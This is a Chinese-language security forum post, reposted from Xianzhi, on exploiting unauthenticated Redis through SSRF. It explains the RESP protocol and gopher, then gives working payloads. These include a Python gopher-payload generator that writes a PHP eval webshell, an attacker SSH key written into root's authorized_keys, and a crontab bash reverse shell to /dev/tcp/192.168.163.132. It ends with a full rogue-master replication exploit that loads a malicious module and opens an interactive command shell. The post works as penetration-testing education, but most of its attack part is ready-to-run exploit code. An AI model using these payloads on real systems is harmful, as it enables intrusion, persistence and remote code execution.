浅析Redis中SSRF的利用

isnull   ·   发表于 2019-07-16 11:39:45   ·   漏洞文章

SSRF介绍

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。这里我们要介绍的是关于redis中SSRF的利用,如果有什么错误的地方还请师傅们不吝赐教/握拳。

前置知识

文章中的数据包构造会涉及到redis的RESP协议,所以我们这里先科普一下,了解RESP协议的师傅可以跳过=。=

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

我们用tcpdump来抓个包来测试一下

tcpdump port 6379 -w ./Desktop/1.pcap

redis客户端中执行如下命令

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓到的数据包如下


hex转储看一下

正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gopher协议进行SSRF

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell

  2. 写ssh公钥

  3. 写contrab计划任务反弹shell

下面我们逐个实现

绝对路径写webshell

这个方法比较常用,也是用得最多的=。=

构造payload

构造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

写了一个简单的脚本,转化为redis RESP协议的格式

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload


生成payload后,用curl打一波

执行成功,我们看一波shell是否写入成功

成功写入

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录

构造payload

构造redis命令

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

转化为redis RESP协议的格式
PS:将第一个脚本改一下

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kalinn"
path="/root/.ssh/"

生成payload

curl打一波

我们来查看一波是否成功写入

成功写入,尝试连接

成功连接

利用contrab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

构造payload

构造redis的命令如下:


flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

转化为redis RESP协议的格式
PS:将第一个脚本改一下

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

生成一波,尝试反弹shell


成功反弹shell

Redis4.x/5.x从SSRF到RCE

前言

前几天看到RR师傅在朋友圈发的redis4.x/5.x rce,原本想去搞搞看的,但是无奈本菜鸡正处于考试预习阶段QAQ,所以没什么心思去看 =。=,直到考完试才安心下来看,不过网上已经很多关于redis rce分析的文章,但是我发现大多数都是一笔带过没怎么看懂(我理解能力比较差),所以决定自己搞一下。

介绍

redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkovzeronights 2018上提出的基于主从复制的redis rce,演讲的PPT地址为:PPT

利用

利用条件:

  • 能未授权或者能通过弱口令认证访问到Redis服务器
  • 主从复制

    主从复制的概述:

    主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
    redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

    建立主从复制,有3种方式:

    1. 配置文件写入slaveof <master_ip> <master_port>
    2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
    3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

    PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

    我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380

    redis-server /etc/redis/redis.conf 
    redis-server /etc/redis/redis6380.conf

    我们把master_ip设置为127.0.0.1,master_port为6380

    root@kali:/usr/bin# redis-cli -p 6379
    127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
    OK
    127.0.0.1:6379> get test
    (nil)
    127.0.0.1:6379> exit
    root@kali:/usr/bin# redis-cli -p 6380
    127.0.0.1:6380> get test
    (nil)
    127.0.0.1:6380> set test "test"
    OK
    127.0.0.1:6380> get test
    "test"
    127.0.0.1:6380> exit
    root@kali:/usr/bin# redis-cli -p 6379
    127.0.0.1:6379> get test
    "test"


    执行一波,我们可以明显看到数据达到了同步的效果.
    如果我们想解除主从关系可以执行SLAVEOF NO ONE

    redis module

    自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
    Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

    恶意so文件编写:https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK

    利用原理

    利用步骤,贴一下PPT上的步骤


    slave和master的握手协议过程

    图中一些常量说明

    #define REPL_STATE_CONNECTING 2 /* 等待和master连接 */
    /* --- 握手状态开始 --- */
    #define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
    #define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */
    #define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */
    #define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */
    #define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
    #define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */
    #define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
    #define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */
    #define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
    /* --- 握手状态结束 --- */
    #define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */


    我这里主要讲一下最重要的那一步,就是利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

    那我们为什么一定要用全量复制呢?原因如下。
    当slave向master发送PSYNC命令之后,一般会得到三种回复:

    1. +FULLRESYNC:进行全量复制。
    2. +CONTINUE:进行增量同步。
    3. -ERR:当前master还不支持PSYNC。

    全量复制的过程:


    slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?,offest为-1,我们来测试以下看看是不是真的如此

  • master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存

  • master把自己的runid和offset发给slave

  • master进行bgsave,生成RDB文件

  • master将写好的RDB文件传输给slave,并将缓冲区内的数据传输给slave

  • slave加载RDB文件和缓冲区数据

  • 增量复制(又称部分复制)过程:


    增量复制的过程这里简单带过一下:就是当slave向master要求数据同步时,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件

    通过了解全量复制和增量复制的过程,我们应该大致知道为什么一定要用全量复制而不用增量复制了。

    攻击流程

  • 配置一个我们需要以master身份给slave传输so文件的服务,大致流程如下
    PING 测试连接是否可用
    +PONG 告诉slave连接可用
    REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
    +OK 告诉slave成功接受
    REPLCONF 发送REPLCONF capa
    +OK 告诉slave成功接受
    PSYNC <rundi> <offest> 发送PSYNC
    如下图所示:

  • 将要攻击的redis服务器设置成我们的slave
  • SLAVEOF ip port
  • 设置RDB文件
    PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用config set dir path
  • config set dbfilename exp.so
  • 告诉slave使用全量复制并从我们配置的Rouge Server接收module
    +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
    PS:其中<runid>无要求,不过长度一般为40,<offest>一般设置为1
  • exp

    贴一下exp,写得比较丑,为了节省文章的篇幅其它功能我就没有加上去了,有需要的师傅可以自行添加=。=

    import socket
    import time
    
    CRLF="\r\n"
    payload=open("exp.so","rb").read()
    exp_filename="exp.so"
    
    def redis_format(arr):
        global CRLF
        global payload
        redis_arr=arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len(x))+CRLF+x
        cmd+=CRLF
        return cmd
    
    def redis_connect(rhost,rport):
        sock=socket.socket()
        sock.connect((rhost,rport))
        return sock
    
    def send(sock,cmd):
        sock.send(redis_format(cmd))
        print(sock.recv(1024).decode("utf-8"))
    
    def interact_shell(sock):
        flag=True
        try:
            while flag:
                shell=raw_input("\033[1;32;40m[*]\033[0m ")
                shell=shell.replace(" ","${IFS}")
                if shell=="exit" or shell=="quit":
                    flag=False
                else:
                    send(sock,"system.exec {}".format(shell))
        except KeyboardInterrupt:
            return
    
    
    def RogueServer(lport):
        global CRLF
        global payload
        flag=True
        result=""
        sock=socket.socket()
        sock.bind(("0.0.0.0",lport))
        sock.listen(10)
        clientSock, address = sock.accept()
        while flag:
            data = clientSock.recv(1024)
            if "PING" in data:
                result="+PONG"+CRLF
                clientSock.send(result)
                flag=True
            elif "REPLCONF" in data:
                result="+OK"+CRLF
                clientSock.send(result)
                flag=True
            elif "PSYNC" in data or "SYNC" in data:
                result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
                result += "$" + str(len(payload)) + CRLF
                result = result.encode()
                result += payload
                result += CRLF
                clientSock.send(result)
                flag=False
    
    if __name__=="__main__":
        lhost="192.168.163.132"
        lport=6666
        rhost="192.168.163.128"
        rport=6379
        passwd=""
        redis_sock=redis_connect(rhost,rport)
        if passwd:
            send(redis_sock,"AUTH {}".format(passwd))
        send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
        send(redis_sock,"config set dbfilename {}".format(exp_filename))
        time.sleep(2)
        RogueServer(lport)
        send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
        interact_shell(redis_sock)


    效果图

    Reference

    https://redis.io/topics/protocol
    https://www.cnblogs.com/kismetv/p/9236731.html#t1
    http://duqingfeng.net/2018/06/08/Redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E2%80%94%E2%80%94%E5%85%A8%E9%87%8F%E5%A4%8D%E5%88%B6%E4%B8%8E%E5%A2%9E%E9%87%8F%E5%A4%8D%E5%88%B6%E6%80%BB%E7%BB%93/
    https://www.cnblogs.com/hongmoshui/p/10594639.html
    https://xz.aliyun.com/t/5616
    https://joychou.org/web/hackredis-enhanced-edition-script.html


    转自先知社区

    打赏我,让我更有动力~

    0 条回复   |  直到 2019-7-16 | 1213 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.